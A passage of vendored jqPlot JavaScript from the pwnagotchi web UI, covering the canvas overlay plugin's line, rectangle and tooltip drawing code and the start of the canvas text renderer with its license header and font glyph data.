xaxis.series_u2p(xaxis.max) - parseFloat(xmaxoff); } } if (xstop != null && xstart != null) { obj.gridStart = [xstart, y]; obj.gridStop = [xstop, y]; mr.draw([xstart, y], [xstop, y], this.canvas._ctx, opts); } } break; case 'dashedHorizontalLine': var dashPat = obj.options.dashPattern; var dashPatLen = 0; for (var i=0; i<dashPat.length; i++) { dashPatLen += dashPat[i]; } // style and shadow properties should be set before // every draw of marker renderer. if (obj.options.y != null) { mr.style = 'line'; opts.closePath = false; var xaxis = plot.axes[obj.options.xaxis], xstart, xstop, y = plot.axes[obj.options.yaxis].series_u2p(obj.options.y), xminoff = obj.options.xminOffset || obj.options.xOffset, xmaxoff = obj.options.xmaxOffset || obj.options.xOffset; if (obj.options.xmin != null) { xstart = xaxis.series_u2p(obj.options.xmin); } else if (xminoff != null) { if ($.type(xminoff) == "number") { xstart = xaxis.series_u2p(xaxis.min + xminoff); } else if ($.type(xminoff) == "string") { xstart = xaxis.series_u2p(xaxis.min) + parseFloat(xminoff); } } if (obj.options.xmax != null) { xstop = xaxis.series_u2p(obj.options.xmax); } else if (xmaxoff != null) { if ($.type(xmaxoff) == "number") { xstop = xaxis.series_u2p(xaxis.max - xmaxoff); } else if ($.type(xmaxoff) == "string") { xstop = xaxis.series_u2p(xaxis.max) - parseFloat(xmaxoff); } } if (xstop != null && xstart != null) { obj.gridStart = [xstart, y]; obj.gridStop = [xstop, y]; var numDash = Math.ceil((xstop - xstart)/dashPatLen); var b=xstart, e; for (var i=0; i<numDash; i++) { for (var j=0; j<dashPat.length; j+=2) { e = b+dashPat[j]; mr.draw([b, y], [e, y], this.canvas._ctx, opts); b += dashPat[j]; if (j < dashPat.length-1) { b += dashPat[j+1]; } } } } } break; case 'verticalLine': // style and shadow properties should be set before // every draw of marker renderer. if (obj.options.x != null) { mr.style = 'line'; opts.closePath = false; var yaxis = plot.axes[obj.options.yaxis], ystart, ystop, x = plot.axes[obj.options.xaxis].series_u2p(obj.options.x), yminoff = obj.options.yminOffset || obj.options.yOffset, ymaxoff = obj.options.ymaxOffset || obj.options.yOffset; if (obj.options.ymin != null) { ystart = yaxis.series_u2p(obj.options.ymin); } else if (yminoff != null) { if ($.type(yminoff) == "number") { ystart = yaxis.series_u2p(yaxis.min - yminoff); } else if ($.type(yminoff) == "string") { ystart = yaxis.series_u2p(yaxis.min) - parseFloat(yminoff); } } if (obj.options.ymax != null) { ystop = yaxis.series_u2p(obj.options.ymax); } else if (ymaxoff != null) { if ($.type(ymaxoff) == "number") { ystop = yaxis.series_u2p(yaxis.max + ymaxoff); } else if ($.type(ymaxoff) == "string") { ystop = yaxis.series_u2p(yaxis.max) + parseFloat(ymaxoff); } } if (ystop != null && ystart != null) { obj.gridStart = [x, ystart]; obj.gridStop = [x, ystop]; mr.draw([x, ystart], [x, ystop], this.canvas._ctx, opts); } } break; case 'dashedVerticalLine': var dashPat = obj.options.dashPattern; var dashPatLen = 0; for (var i=0; i<dashPat.length; i++) { dashPatLen += dashPat[i]; } // style and shadow properties should be set before // every draw of marker renderer. if (obj.options.x != null) { mr.style = 'line'; opts.closePath = false; var yaxis = plot.axes[obj.options.yaxis], ystart, ystop, x = plot.axes[obj.options.xaxis].series_u2p(obj.options.x), yminoff = obj.options.yminOffset || obj.options.yOffset, ymaxoff = obj.options.ymaxOffset || obj.options.yOffset; if (obj.options.ymin != null) { ystart = yaxis.series_u2p(obj.options.ymin); } else if (yminoff != null) { if ($.type(yminoff) == "number") { ystart = yaxis.series_u2p(yaxis.min - yminoff); } else if ($.type(yminoff) == "string") { ystart = yaxis.series_u2p(yaxis.min) - parseFloat(yminoff); } } if (obj.options.ymax != null) { ystop = yaxis.series_u2p(obj.options.ymax); } else if (ymaxoff != null) { if ($.type(ymaxoff) == "number") { ystop = yaxis.series_u2p(yaxis.max + ymaxoff); } else if ($.type(ymaxoff) == "string") { ystop = yaxis.series_u2p(yaxis.max) + parseFloat(ymaxoff); } } if (ystop != null && ystart != null) { obj.gridStart = [x, ystart]; obj.gridStop = [x, ystop]; var numDash = Math.ceil((ystart - ystop)/dashPatLen); var firstDashAdjust = ((numDash * dashPatLen) - (ystart - ystop))/2.0; var b=ystart, e, bs, es; for (var i=0; i<numDash; i++) { for (var j=0; j<dashPat.length; j+=2) { e = b - dashPat[j]; if (e < ystop) { e = ystop; } if (b < ystop) { b = ystop; } // es = e; // if (i == 0) { // es += firstDashAdjust; // } mr.draw([x, b], [x, e], this.canvas._ctx, opts); b -= dashPat[j]; if (j < dashPat.length-1) { b -= dashPat[j+1]; } } } } } break; case 'rectangle': // style and shadow properties should be set before // every draw of marker renderer. mr.style = 'line'; opts.closePath = true; var xaxis = plot.axes[obj.options.xaxis], xstart, xstop, y = plot.axes[obj.options.yaxis].series_u2p(obj.options.y), xminoff = obj.options.xminOffset || obj.options.xOffset, xmaxoff = obj.options.xmaxOffset || obj.options.xOffset; if (obj.options.xmin != null) { xstart = xaxis.series_u2p(obj.options.xmin); } else if (xminoff != null) { if ($.type(xminoff) == "number") { xstart = xaxis.series_u2p(xaxis.min + xminoff); } else if ($.type(xminoff) == "string") { xstart = xaxis.series_u2p(xaxis.min) + parseFloat(xminoff); } } if (obj.options.xmax != null) { xstop = xaxis.series_u2p(obj.options.xmax); } else if (xmaxoff != null) { if ($.type(xmaxoff) == "number") { xstop = xaxis.series_u2p(xaxis.max - xmaxoff); } else if ($.type(xmaxoff) == "string") { xstop = xaxis.series_u2p(xaxis.max) - parseFloat(xmaxoff); } } var yaxis = plot.axes[obj.options.yaxis], ystart, ystop, x = plot.axes[obj.options.xaxis].series_u2p(obj.options.x), yminoff = obj.options.yminOffset || obj.options.yOffset, ymaxoff = obj.options.ymaxOffset || obj.options.yOffset; if (obj.options.ymin != null) { ystart = yaxis.series_u2p(obj.options.ymin); } else if (yminoff != null) { if ($.type(yminoff) == "number") { ystart = yaxis.series_u2p(yaxis.min - yminoff); } else if ($.type(yminoff) == "string") { ystart = yaxis.series_u2p(yaxis.min) - parseFloat(yminoff); } } if (obj.options.ymax != null) { ystop = yaxis.series_u2p(obj.options.ymax); } else if (ymaxoff != null) { if ($.type(ymaxoff) == "number") { ystop = yaxis.series_u2p(yaxis.max + ymaxoff); } else if ($.type(ymaxoff) == "string") { ystop = yaxis.series_u2p(yaxis.max) + parseFloat(ymaxoff); } } if (xstop != null && xstart != null && ystop != null && ystart != null) { obj.gridStart = [xstart, ystart]; obj.gridStop = [xstop, ystop]; this.canvas._ctx.fillStyle = obj.options.color; this.canvas._ctx.fillRect(xstart, ystart, xstop - xstart, ystop - ystart); } break; default: break; } } } } }; // called within context of plot // create a canvas which we can draw on. // insert it before the eventCanvas, so eventCanvas will still capture events. $.jqplot.CanvasOverlay.postPlotDraw = function() { var co = this.plugins.canvasOverlay; // Memory Leaks patch if (co && co.highlightCanvas) { co.highlightCanvas.resetCanvas(); co.highlightCanvas = null; } co.canvas = new $.jqplot.GenericCanvas(); this.eventCanvas._elem.before(co.canvas.createElement(this._gridPadding, 'jqplot-overlayCanvas-canvas', this._plotDimensions, this)); co.canvas.setContext(); if (!co.deferDraw) { co.draw(this); } var elem = document.createElement('div'); co._tooltipElem = $(elem); elem = null; co._tooltipElem.addClass('jqplot-canvasOverlay-tooltip'); co._tooltipElem.css({position:'absolute', display:'none'}); this.eventCanvas._elem.before(co._tooltipElem); this.eventCanvas._elem.bind('mouseleave', { elem: co._tooltipElem }, function (ev) { ev.data.elem.hide(); }); var co = null; }; function showTooltip(plot, obj, gridpos, datapos) { var co = plot.plugins.canvasOverlay; var elem = co._tooltipElem; var opts = obj.options, x, y; elem.html($.jqplot.sprintf(opts.tooltipFormatString, datapos[0], datapos[1])); switch (opts.tooltipLocation) { case 'nw': x = gridpos[0] + plot._gridPadding.left - elem.outerWidth(true) - opts.tooltipOffset; y = gridpos[1] + plot._gridPadding.top - opts.tooltipOffset - elem.outerHeight(true); break; case 'n': x = gridpos[0] + plot._gridPadding.left - elem.outerWidth(true)/2; y = gridpos[1] + plot._gridPadding.top - opts.tooltipOffset - elem.outerHeight(true); break; case 'ne': x = gridpos[0] + plot._gridPadding.left + opts.tooltipOffset; y = gridpos[1] + plot._gridPadding.top - opts.tooltipOffset - elem.outerHeight(true); break; case 'e': x = gridpos[0] + plot._gridPadding.left + opts.tooltipOffset; y = gridpos[1] + plot._gridPadding.top - elem.outerHeight(true)/2; break; case 'se': x = gridpos[0] + plot._gridPadding.left + opts.tooltipOffset; y = gridpos[1] + plot._gridPadding.top + opts.tooltipOffset; break; case 's': x = gridpos[0] + plot._gridPadding.left - elem.outerWidth(true)/2; y = gridpos[1] + plot._gridPadding.top + opts.tooltipOffset; break; case 'sw': x = gridpos[0] + plot._gridPadding.left - elem.outerWidth(true) - opts.tooltipOffset; y = gridpos[1] + plot._gridPadding.top + opts.tooltipOffset; break; case 'w': x = gridpos[0] + plot._gridPadding.left - elem.outerWidth(true) - opts.tooltipOffset; y = gridpos[1] + plot._gridPadding.top - elem.outerHeight(true)/2; break; default: // same as 'nw' x = gridpos[0] + plot._gridPadding.left - elem.outerWidth(true) - opts.tooltipOffset; y = gridpos[1] + plot._gridPadding.top - opts.tooltipOffset - elem.outerHeight(true); break; } elem.css('left', x); elem.css('top', y); if (opts.fadeTooltip) { // Fix for stacked up animations. Thnanks Trevor! elem.stop(true,true).fadeIn(opts.tooltipFadeSpeed); } else { elem.show(); } elem = null; } function isNearLine(point, lstart, lstop, width) { // r is point to test, p and q are end points. var rx = point[0]; var ry = point[1]; var px = Math.round(lstop[0]); var py = Math.round(lstop[1]); var qx = Math.round(lstart[0]); var qy = Math.round(lstart[1]); var l = Math.sqrt(Math.pow(px-qx, 2) + Math.pow(py-qy, 2)); // scale error term by length of line. var eps = width*l; var res = Math.abs((qx-px) * (ry-py) - (qy-py) * (rx-px)); var ret = (res < eps) ? true : false; return ret; } function isNearRectangle(point, lstart, lstop, width) { // r is point to test, p and q are end points. var rx = point[0]; var ry = point[1]; var px = Math.round(lstop[0]); var py = Math.round(lstop[1]); var qx = Math.round(lstart[0]); var qy = Math.round(lstart[1]); var temp; if (px > qx) { temp = px; px = qx; qx = temp; } if (py > qy) { temp = py; py = qy; qy = temp; } var ret = (rx >= px && rx <= qx && ry >= py && ry <= qy); return ret; } function handleMove(ev, gridpos, datapos, neighbor, plot) { var co = plot.plugins.canvasOverlay; var objs = co.objects; var l = objs.length; var obj, haveHighlight=false; var elem; for (var i=0; i<l; i++) { obj = objs[i]; if (obj.options.showTooltip) { var n; if (obj.type === 'rectangle') { n = isNearRectangle([gridpos.x, gridpos.y], obj.gridStart, obj.gridStop, obj.tooltipWidthFactor); } else { n = isNearLine([gridpos.x, gridpos.y], obj.gridStart, obj.gridStop, obj.tooltipWidthFactor); } datapos = [plot.axes[obj.options.xaxis].series_p2u(gridpos.x), plot.axes[obj.options.yaxis].series_p2u(gridpos.y)]; // cases: // near line, no highlighting // near line, highliting on this line // near line, highlighting another line // not near any line, highlighting // not near any line, no highlighting // near line, not currently highlighting if (n && co.highlightObjectIndex == null) { switch (obj.type) { case 'line': showTooltip(plot, obj, [gridpos.x, gridpos.y], datapos); break; case 'horizontalLine': case 'dashedHorizontalLine': showTooltip(plot, obj, [gridpos.x, obj.gridStart[1]], [datapos[0], obj.options.y]); break; case 'verticalLine': case 'dashedVerticalLine': showTooltip(plot, obj, [obj.gridStart[0], gridpos.y], [obj.options.x, datapos[1]]); break; case 'rectangle': showTooltip(plot, obj, [obj.gridStart[0], gridpos.y], [obj.options.x, datapos[1]]); break; default: break; } co.highlightObjectIndex = i; haveHighlight = true; break; } // near line, highlighting another line. else if (n && co.highlightObjectIndex !== i) { // turn off tooltip. elem = co._tooltipElem; if (obj.fadeTooltip) { elem.fadeOut(obj.tooltipFadeSpeed); } else { elem.hide(); } // turn on right tooltip. switch (obj.type) { case 'line': showTooltip(plot, obj, [gridpos.x, gridpos.y], datapos); break; case 'horizontalLine': case 'dashedHorizontalLine': showTooltip(plot, obj, [gridpos.x, obj.gridStart[1]], [datapos[0], obj.options.y]); break; case 'verticalLine': case 'dashedVerticalLine': showTooltip(plot, obj, [obj.gridStart[0], gridpos.y], [obj.options.x, datapos[1]]); break; case 'rectangle': showTooltip(plot, obj, [obj.gridStart[0], gridpos.y], [obj.options.x, datapos[1]]); break; default: break; } co.highlightObjectIndex = i; haveHighlight = true; break; } // near line, already highlighting this line, update else if (n) { switch (obj.type) { case 'line': showTooltip(plot, obj, [gridpos.x, gridpos.y], datapos); break; case 'horizontalLine': case 'dashedHorizontalLine': showTooltip(plot, obj, [gridpos.x, obj.gridStart[1]], [datapos[0], obj.options.y]); break; case 'verticalLine': case 'dashedVerticalLine': showTooltip(plot, obj, [obj.gridStart[0], gridpos.y], [obj.options.x, datapos[1]]); break; case 'rectangle': showTooltip(plot, obj, [obj.gridStart[0], gridpos.y], [obj.options.x, datapos[1]]); break; default: break; } haveHighlight = true; break; } } } // check if we are highlighting and not near a line, turn it off. if (!haveHighlight && co.highlightObjectIndex !== null) { elem = co._tooltipElem; obj = co.getObject(co.highlightObjectIndex); if (obj.fadeTooltip) { elem.fadeOut(obj.tooltipFadeSpeed); } else { elem.hide(); } co.highlightObjectIndex = null; } } $.jqplot.postInitHooks.push($.jqplot.CanvasOverlay.postPlotInit); $.jqplot.postDrawHooks.push($.jqplot.CanvasOverlay.postPlotDraw); $.jqplot.eventListenerHooks.push(['jqplotMouseMove', handleMove]); })(jQuery); ================================================ FILE: pwnagotchi/ui/web/static/js/plugins/jqplot.canvasTextRenderer.js ================================================ /** * jqPlot * Pure JavaScript plotting plugin using jQuery * * Version: 1.0.9 * Revision: d96a669 * * Copyright (c) 2009-2016 Chris Leonello * jqPlot is currently available for use in all personal or commercial projects * under both the MIT (http://www.opensource.org/licenses/mit-license.php) and GPL * version 2.0 (http://www.gnu.org/licenses/gpl-2.0.html) licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * Although not required, the author would appreciate an email letting him * know of any substantial use of jqPlot. You can reach the author at: * chris at jqplot dot com or see http://www.jqplot.com/info.php . * * If you are feeling kind and generous, consider supporting the project by * making a donation at: http://www.jqplot.com/donate.php . * * sprintf functions contained in jqplot.sprintf.js by Ash Searle: * * version 2007.04.27 * author Ash Searle * http://hexmen.com/blog/2007/03/printf-sprintf/ * http://hexmen.com/js/sprintf.js * The author (Ash Searle) has placed this code in the public domain: * "This code is unrestricted: you are free to use it however you like." * * included jsDate library by Chris Leonello: * * Copyright (c) 2010-2015 Chris Leonello * * jsDate is currently available for use in all personal or commercial projects * under both the MIT and GPL version 2.0 licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * jsDate borrows many concepts and ideas from the Date Instance * Methods by Ken Snyder along with some parts of Ken's actual code. * * Ken's original Date Instance Methods and copyright notice: * * Ken Snyder (ken d snyder at gmail dot com) * 2008-09-10 * version 2.0.2 (http://kendsnyder.com/sandbox/date/) * Creative Commons Attribution License 3.0 (http://creativecommons.org/licenses/by/3.0/) * * jqplotToImage function based on Larry Siden's export-jqplot-to-png.js. * Larry has generously given permission to adapt his code for inclusion * into jqPlot. * * Larry's original code can be found here: * * https://github.com/lsiden/export-jqplot-to-png * * */ (function($) { // This code is a modified version of the canvastext.js code, copyright below: // // This code is released to the public domain by Jim Studt, 2007. // He may keep some sort of up to date copy at http://www.federated.com/~jim/canvastext/ // $.jqplot.CanvasTextRenderer = function(options){ this.fontStyle = 'normal'; // normal, italic, oblique [not implemented] this.fontVariant = 'normal'; // normal, small caps [not implemented] this.fontWeight = 'normal'; // normal, bold, bolder, lighter, 100 - 900 this.fontSize = '10px'; this.fontFamily = 'sans-serif'; this.fontStretch = 1.0; this.fillStyle = '#666666'; this.angle = 0; this.textAlign = 'start'; this.textBaseline = 'alphabetic'; this.text; this.width; this.height; this.pt2px = 1.28; $.extend(true, this, options); this.normalizedFontSize = this.normalizeFontSize(this.fontSize); this.setHeight(); }; $.jqplot.CanvasTextRenderer.prototype.init = function(options) { $.extend(true, this, options); this.normalizedFontSize = this.normalizeFontSize(this.fontSize); this.setHeight(); }; // convert css spec into point size // returns float $.jqplot.CanvasTextRenderer.prototype.normalizeFontSize = function(sz) { sz = String(sz); var n = parseFloat(sz); if (sz.indexOf('px') > -1) { return n/this.pt2px; } else if (sz.indexOf('pt') > -1) { return n; } else if (sz.indexOf('em') > -1) { return n*12; } else if (sz.indexOf('%') > -1) { return n*12/100; } // default to pixels; else { return n/this.pt2px; } }; $.jqplot.CanvasTextRenderer.prototype.fontWeight2Float = function(w) { // w = normal | bold | bolder | lighter | 100 | 200 | 300 | 400 | 500 | 600 | 700 | 800 | 900 // return values adjusted for Hershey font. if (Number(w)) { return w/400; } else { switch (w) { case 'normal': return 1; break; case 'bold': return 1.75; break; case 'bolder': return 2.25; break; case 'lighter': return 0.75; break; default: return 1; break; } } }; $.jqplot.CanvasTextRenderer.prototype.getText = function() { return this.text; }; $.jqplot.CanvasTextRenderer.prototype.setText = function(t, ctx) { this.text = t; this.setWidth(ctx); return this; }; $.jqplot.CanvasTextRenderer.prototype.getWidth = function(ctx) { return this.width; }; $.jqplot.CanvasTextRenderer.prototype.setWidth = function(ctx, w) { if (!w) { this.width = this.measure(ctx, this.text); } else { this.width = w; } return this; }; // return height in pixels. $.jqplot.CanvasTextRenderer.prototype.getHeight = function(ctx) { return this.height; }; // w - height in pt // set heigh in px $.jqplot.CanvasTextRenderer.prototype.setHeight = function(w) { if (!w) { //height = this.fontSize /0.75; this.height = this.normalizedFontSize * this.pt2px; } else { this.height = w; } return this; }; $.jqplot.CanvasTextRenderer.prototype.letter = function (ch) { return this.letters[ch]; }; $.jqplot.CanvasTextRenderer.prototype.ascent = function() { return this.normalizedFontSize; }; $.jqplot.CanvasTextRenderer.prototype.descent = function() { return 7.0*this.normalizedFontSize/25.0; }; $.jqplot.CanvasTextRenderer.prototype.measure = function(ctx, str) { var total = 0; var len = str.length; for (var i = 0; i < len; i++) { var c = this.letter(str.charAt(i)); if (c) { total += c.width * this.normalizedFontSize / 25.0 * this.fontStretch; } } return total; }; $.jqplot.CanvasTextRenderer.prototype.draw = function(ctx,str) { var x = 0; // leave room at bottom for descenders. var y = this.height*0.72; var total = 0; var len = str.length; var mag = this.normalizedFontSize / 25.0; ctx.save(); var tx, ty; // 1st quadrant if ((-Math.PI/2 <= this.angle && this.angle <= 0) || (Math.PI*3/2 <= this.angle && this.angle <= Math.PI*2)) { tx = 0; ty = -Math.sin(this.angle) * this.width; } // 4th quadrant else if ((0 < this.angle && this.angle <= Math.PI/2) || (-Math.PI*2 <= this.angle && this.angle <= -Math.PI*3/2)) { tx = Math.sin(this.angle) * this.height; ty = 0; } // 2nd quadrant else if ((-Math.PI < this.angle && this.angle < -Math.PI/2) || (Math.PI <= this.angle && this.angle <= Math.PI*3/2)) { tx = -Math.cos(this.angle) * this.width; ty = -Math.sin(this.angle) * this.width - Math.cos(this.angle) * this.height; } // 3rd quadrant else if ((-Math.PI*3/2 < this.angle && this.angle < Math.PI) || (Math.PI/2 < this.angle && this.angle < Math.PI)) { tx = Math.sin(this.angle) * this.height - Math.cos(this.angle)*this.width; ty = -Math.cos(this.angle) * this.height; } ctx.strokeStyle = this.fillStyle; ctx.fillStyle = this.fillStyle; ctx.translate(tx, ty); ctx.rotate(this.angle); ctx.lineCap = "round"; // multiplier was 2.0 var fact = (this.normalizedFontSize > 30) ? 2.0 : 2 + (30 - this.normalizedFontSize)/20; ctx.lineWidth = fact * mag * this.fontWeight2Float(this.fontWeight); for ( var i = 0; i < len; i++) { var c = this.letter( str.charAt(i)); if ( !c) { continue; } ctx.beginPath(); var penUp = 1; var needStroke = 0; for ( var j = 0; j < c.points.length; j++) { var a = c.points[j]; if ( a[0] == -1 && a[1] == -1) { penUp = 1; continue; } if ( penUp) { ctx.moveTo( x + a[0]*mag*this.fontStretch, y - a[1]*mag); penUp = false; } else { ctx.lineTo( x + a[0]*mag*this.fontStretch, y - a[1]*mag); } } ctx.stroke(); x += c.width*mag*this.fontStretch; } ctx.restore(); return total; }; $.jqplot.CanvasTextRenderer.prototype.letters = { ' ': { width: 16, points: [] }, '!': { width: 10, points: [[5,21],[5,7],[-1,-1],[5,2],[4,1],[5,0],[6,1],[5,2]] }, '"': { width: 16, points: [[4,21],[4,14],[-1,-1],[12,21],[12,14]] }, '#': { width: 21, points: [[11,25],[4,-7],[-1,-1],[17,25],[10,-7],[-1,-1],[4,12],[18,12],[-1,-1],[3,6],[17,6]] }, '$': { width: 20, points: [[8,25],[8,-4],[-1,-1],[12,25],[12,-4],[-1,-1],[17,18],[15,20],[12,21],[8,21],[5,20],[3,18],[3,16],[4,14],[5,13],[7,12],[13,10],[15,9],[16,8],[17,6],[17,3],[15,1],[12,0],[8,0],[5,1],[3,3]] }, '%': { width: 24, points: [[21,21],[3,0],[-1,-1],[8,21],[10,19],[10,17],[9,15],[7,14],[5,14],[3,16],[3,18],[4,20],[6,21],[8,21],[10,20],[13,19],[16,19],[19,20],[21,21],[-1,-1],[17,7],[15,6],[14,4],[14,2],[16,0],[18,0],[20,1],[21,3],[21,5],[19,7],[17,7]] }, '&': { width: 26, points: [[23,12],[23,13],[22,14],[21,14],[20,13],[19,11],[17,6],[15,3],[13,1],[11,0],[7,0],[5,1],[4,2],[3,4],[3,6],[4,8],[5,9],[12,13],[13,14],[14,16],[14,18],[13,20],[11,21],[9,20],[8,18],[8,16],[9,13],[11,10],[16,3],[18,1],[20,0],[22,0],[23,1],[23,2]] }, '\'': { width: 10, points: [[5,19],[4,20],[5,21],[6,20],[6,18],[5,16],[4,15]] }, '(': { width: 14, points: [[11,25],[9,23],[7,20],[5,16],[4,11],[4,7],[5,2],[7,-2],[9,-5],[11,-7]] }, ')': { width: 14, points: [[3,25],[5,23],[7,20],[9,16],[10,11],[10,7],[9,2],[7,-2],[5,-5],[3,-7]] }, '*': { width: 16, points: [[8,21],[8,9],[-1,-1],[3,18],[13,12],[-1,-1],[13,18],[3,12]] }, '+': { width: 26, points: [[13,18],[13,0],[-1,-1],[4,9],[22,9]] }, ',': { width: 10, points: [[6,1],[5,0],[4,1],[5,2],[6,1],[6,-1],[5,-3],[4,-4]] }, '-': { width: 18, points: [[6,9],[12,9]] }, '.': { width: 10, points: [[5,2],[4,1],[5,0],[6,1],[5,2]] }, '/': { width: 22, points: [[20,25],[2,-7]] }, '0': { width: 20, points: [[9,21],[6,20],[4,17],[3,12],[3,9],[4,4],[6,1],[9,0],[11,0],[14,1],[16,4],[17,9],[17,12],[16,17],[14,20],[11,21],[9,21]] }, '1': { width: 20, points: [[6,17],[8,18],[11,21],[11,0]] }, '2': { width: 20, points: [[4,16],[4,17],[5,19],[6,20],[8,21],[12,21],[14,20],[15,19],[16,17],[16,15],[15,13],[13,10],[3,0],[17,0]] }, '3': { width: 20, points: [[5,21],[16,21],[10,13],[13,13],[15,12],[16,11],[17,8],[17,6],[16,3],[14,1],[11,0],[8,0],[5,1],[4,2],[3,4]] }, '4': { width: 20, points: [[13,21],[3,7],[18,7],[-1,-1],[13,21],[13,0]] }, '5': { width: 20, points: [[15,21],[5,21],[4,12],[5,13],[8,14],[11,14],[14,13],[16,11],[17,8],[17,6],[16,3],[14,1],[11,0],[8,0],[5,1],[4,2],[3,4]] }, '6': { width: 20, points: [[16,18],[15,20],[12,21],[10,21],[7,20],[5,17],[4,12],[4,7],[5,3],[7,1],[10,0],[11,0],[14,1],[16,3],[17,6],[17,7],[16,10],[14,12],[11,13],[10,13],[7,12],[5,10],[4,7]] }, '7': { width: 20, points: [[17,21],[7,0],[-1,-1],[3,21],[17,21]] }, '8': { width: 20, points: [[8,21],[5,20],[4,18],[4,16],[5,14],[7,13],[11,12],[14,11],[16,9],[17,7],[17,4],[16,2],[15,1],[12,0],[8,0],[5,1],[4,2],[3,4],[3,7],[4,9],[6,11],[9,12],[13,13],[15,14],[16,16],[16,18],[15,20],[12,21],[8,21]] }, '9': { width: 20, points: [[16,14],[15,11],[13,9],[10,8],[9,8],[6,9],[4,11],[3,14],[3,15],[4,18],[6,20],[9,21],[10,21],[13,20],[15,18],[16,14],[16,9],[15,4],[13,1],[10,0],[8,0],[5,1],[4,3]] }, ':': { width: 10, points: [[5,14],[4,13],[5,12],[6,13],[5,14],[-1,-1],[5,2],[4,1],[5,0],[6,1],[5,2]] }, ';': { width: 10, points: [[5,14],[4,13],[5,12],[6,13],[5,14],[-1,-1],[6,1],[5,0],[4,1],[5,2],[6,1],[6,-1],[5,-3],[4,-4]] }, '<': { width: 24, points: [[20,18],[4,9],[20,0]] }, '=': { width: 26, points: [[4,12],[22,12],[-1,-1],[4,6],[22,6]] }, '>': { width: 24, points: [[4,18],[20,9],[4,0]] }, '?': { width: 18, points: [[3,16],[3,17],[4,19],[5,20],[7,21],[11,21],[13,20],[14,19],[15,17],[15,15],[14,13],[13,12],[9,10],[9,7],[-1,-1],[9,2],[8,1],[9,0],[10,1],[9,2]] }, '@': { width: 27, points: [[18,13],[17,15],[15,16],[12,16],[10,15],[9,14],[8,11],[8,8],[9,6],[11,5],[14,5],[16,6],[17,8],[-1,-1],[12,16],[10,14],[9,11],[9,8],[10,6],[11,5],[-1,-1],[18,16],[17,8],[17,6],[19,5],[21,5],[23,7],[24,10],[24,12],[23,15],[22,17],[20,19],[18,20],[15,21],[12,21],[9,20],[7,19],[5,17],[4,15],[3,12],[3,9],[4,6],[5,4],[7,2],[9,1],[12,0],[15,0],[18,1],[20,2],[21,3],[-1,-1],[19,16],[18,8],[18,6],[19,5]] }, 'A': { width: 18, points: [[9,21],[1,0],[-1,-1],[9,21],[17,0],[-1,-1],[4,7],[14,7]] }, 'B': { width: 21, points: [[4,21],[4,0],[-1,-1],[4,21],[13,21],[16,20],[17,19],[18,17],[18,15],[17,13],[16,12],[13,11],[-1,-1],[4,11],[13,11],[16,10],[17,9],[18,7],[18,4],[17,2],[16,1],[13,0],[4,0]] }, 'C': { width: 21, points: [[18,16],[17,18],[15,20],[13,21],[9,21],[7,20],[5,18],[4,16],[3,13],[3,8],[4,5],[5,3],[7,1],[9,0],[13,0],[15,1],[17,3],[18,5]] }, 'D': { width: 21, points: [[4,21],[4,0],[-1,-1],[4,21],[11,21],[14,20],[16,18],[17,16],[18,13],[18,8],[17,5],[16,3],[14,1],[11,0],[4,0]] }, 'E': { width: 19, points: [[4,21],[4,0],[-1,-1],[4,21],[17,21],[-1,-1],[4,11],[12,11],[-1,-1],[4,0],[17,0]] }, 'F': { width: 18, points: [[4,21],[4,0],[-1,-1],[4,21],[17,21],[-1,-1],[4,11],[12,11]] }, 'G': { width: 21, points: [[18,16],[17,18],[15,20],[13,21],[9,21],[7,20],[5,18],[4,16],[3,13],[3,8],[4,5],[5,3],[7,1],[9,0],[13,0],[15,1],[17,3],[18,5],[18,8],[-1,-1],[13,8],[18,8]] }, 'H': { width: 22, points: [[4,21],[4,0],[-1,-1],[18,21],[18,0],[-1,-1],[4,11],[18,11]] }, 'I': { width: 8, points: [[4,21],[4,0]] }, 'J': { width: 16, points: [[12,21],[12,5],[11,2],[10,1],[8,0],[6,0],[4,1],[3,2],[2,5],[2,7]] }, 'K': { width: 21, points: [[4,21],[4,0],[-1,-1],[18,21],[4,7],[-1,-1],[9,12],[18,0]] }, 'L': { width: 17, points: [[4,21],[4,0],[-1,-1],[4,0],[16,0]] }, 'M': { width: 24, points: [[4,21],[4,0],[-1,-1],[4,21],[12,0],[-1,-1],[20,21],[12,0],[-1,-1],[20,21],[20,0]] }, 'N': { width: 22, points: [[4,21],[4,0],[-1,-1],[4,21],[18,0],[-1,-1],[18,21],[18,0]] }, 'O': { width: 22, points: [[9,21],[7,20],[5,18],[4,16],[3,13],[3,8],[4,5],[5,3],[7,1],[9,0],[13,0],[15,1],[17,3],[18,5],[19,8],[19,13],[18,16],[17,18],[15,20],[13,21],[9,21]] }, 'P': { width: 21, points: [[4,21],[4,0],[-1,-1],[4,21],[13,21],[16,20],[17,19],[18,17],[18,14],[17,12],[16,11],[13,10],[4,10]] }, 'Q': { width: 22, points: [[9,21],[7,20],[5,18],[4,16],[3,13],[3,8],[4,5],[5,3],[7,1],[9,0],[13,0],[15,1],[17,3],[18,5],[19,8],[19,13],[18,16],[17,18],[15,20],[13,21],[9,21],[-1,-1],[12,4],[18,-2]] }, 'R': { width: 21, points: [[4,21],[4,0],[-1,-1],[4,21],[13,21],[16,20],[17,19],[18,17],[18,15],[17,13],[16,12],[13,11],[4,11],[-1,-1],[11,11],[18,0]] }, 'S': { width: 20, points: [[17,18],[15,20],[12,21],[8,21],[5,20],[3,18],[3,16],[4,14],[5,13],[7,12],[13,10],[15,9],[16,8],[17,6],[17,3],[15,1],[12,0],[8,0],[5,1],[3,3]] }, 'T': { width: 16, points: [[8,21],[8,0],[-1,-1],[1,21],[15,21]] }, 'U': { width: 22, points: [[4,21],[4,6],[5,3],[7,1],[10,0],[12,0],[15,1],[17,3],[18,6],[18,21]] }, 'V': { width: 18, points: [[1,21],[9,0],[-1,-1],[17,21],[9,0]] }, 'W': { width: 24, points: [[2,21],[7,0],[-1,-1],[12,21],[7,0],[-1,-1],[12,21],[17,0],[-1,-1],[22,21],[17,0]] }, 'X': { width: 20, points: [[3,21],[17,0],[-1,-1],[17,21],[3,0]] }, 'Y': { width: 18, points: [[1,21],[9,11],[9,0],[-1,-1],[17,21],[9,11]] }, 'Z': { width: 20, points: [[17,21],[3,0],[-1,-1],[3,21],[17,21],[-1,-1],[3,0],[17,0]] }, '[': { width: 14, points: [[4,25],[4,-7],[-1,-1],[5,25],[5,-7],[-1,-1],[4,25],[11,25],[-1,-1],[4,-7],[11,-7]] }, '\\': { width: 14, points: [[0,21],[14,-3]] }, ']': { width: 14, points: 